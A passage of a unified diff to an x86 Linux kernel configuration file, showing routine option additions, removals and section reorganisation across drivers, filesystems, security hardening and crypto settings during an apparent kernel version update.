CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set +# CONFIG_CHARGER_MAX77976 is not set # CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1688,6 +1798,7 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # Intel thermal drivers # # CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_PKG_TEMP_THERMAL is not set # CONFIG_INTEL_SOC_DTS_THERMAL is not set @@ -1698,6 +1809,9 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1730,6 +1844,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set @@ -1744,19 +1859,21 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set # CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set # CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set @@ -1770,7 +1887,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1782,21 +1898,28 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set +# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set # # ARM devices @@ -1889,6 +2012,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1914,7 +2038,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -1941,6 +2064,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -1949,9 +2074,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -1964,11 +2091,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -1978,6 +2109,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -2006,7 +2138,7 @@ CONFIG_USB_HID=m # # I2C HID support # -# CONFIG_I2C_HID is not set +# CONFIG_I2C_HID_ACPI is not set # end of I2C HID support # @@ -2014,6 +2146,12 @@ CONFIG_USB_HID=m # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -2098,7 +2236,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2151,6 +2289,7 @@ CONFIG_USB_STORAGE=m # CONFIG_TYPEC is not set # CONFIG_USB_ROLE_SWITCH is not set # CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2219,6 +2358,7 @@ CONFIG_RTC_I2C_AND_SPI=y # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2247,6 +2387,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2254,8 +2395,10 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -2272,13 +2415,66 @@ CONFIG_SYNC_FILE=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_HID_EVENT is not set +# CONFIG_INTEL_VBTN is not set +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_MLX_PLATFORM is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_MAX9485 is not set @@ -2287,6 +2483,7 @@ CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_SI544 is not set # CONFIG_COMMON_CLK_CDCE706 is not set # CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2310,7 +2507,11 @@ CONFIG_IOMMU_SUPPORT=y # # end of Generic IOMMU Pagetable Support +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set +CONFIG_IOMMU_DMA=y +CONFIG_IOMMU_SVA=y # CONFIG_AMD_IOMMU is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y @@ -2344,11 +2545,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2359,11 +2555,21 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2374,7 +2580,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2383,7 +2588,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2399,7 +2603,14 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_GENERIC_PHY=y # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2419,16 +2630,16 @@ CONFIG_GENERIC_PHY=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y -CONFIG_NVMEM_SYSFS=y +# CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2438,11 +2649,12 @@ CONFIG_NVMEM_SYSFS=y # end of HW tracing support # CONFIG_FPGA is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2468,10 +2680,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2510,6 +2720,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2525,9 +2736,10 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set -CONFIG_EFIVAR_FS=m +# CONFIG_EFIVAR_FS is not set # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set @@ -2597,12 +2809,9 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y # CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set # CONFIG_IMA_SECURE_AND_OR_TRUSTED_BOOT is not set @@ -2617,9 +2826,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2652,7 +2869,7 @@ CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set CONFIG_CRYPTO_SIMD=y -CONFIG_CRYPTO_GLUE_HELPER_X86=y +# end of Crypto core or helper # # Public-key cryptography @@ -2660,114 +2877,90 @@ CONFIG_CRYPTO_GLUE_HELPER_X86=y # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set # CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set -# CONFIG_CRYPTO_CURVE25519_X86 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set -# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -# CONFIG_CRYPTO_CMAC is not set -CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32C_INTEL=y -# CONFIG_CRYPTO_CRC32 is not set -# CONFIG_CRYPTO_CRC32_PCLMUL is not set -# CONFIG_CRYPTO_XXHASH is not set # CONFIG_CRYPTO_BLAKE2B is not set -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_BLAKE2S_X86 is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +# CONFIG_CRYPTO_CMAC is not set # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set -# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_SSSE3=y -CONFIG_CRYPTO_SHA256_SSSE3=y -CONFIG_CRYPTO_SHA512_SSSE3=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set -# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -# CONFIG_CRYPTO_AES is not set -# CONFIG_CRYPTO_AES_TI is not set -CONFIG_CRYPTO_AES_NI_INTEL=y -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAST6 is not set -# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set -# CONFIG_CRYPTO_DES is not set -# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_CHACHA20_X86_64 is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TWOFISH is not set -# CONFIG_CRYPTO_TWOFISH_X86_64 is not set -# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set -# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -2778,13 +2971,19 @@ CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -2792,19 +2991,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -2820,7 +3047,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -2829,9 +3055,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2852,6 +3095,7 @@ CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2869,6 +3113,7 @@ CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y 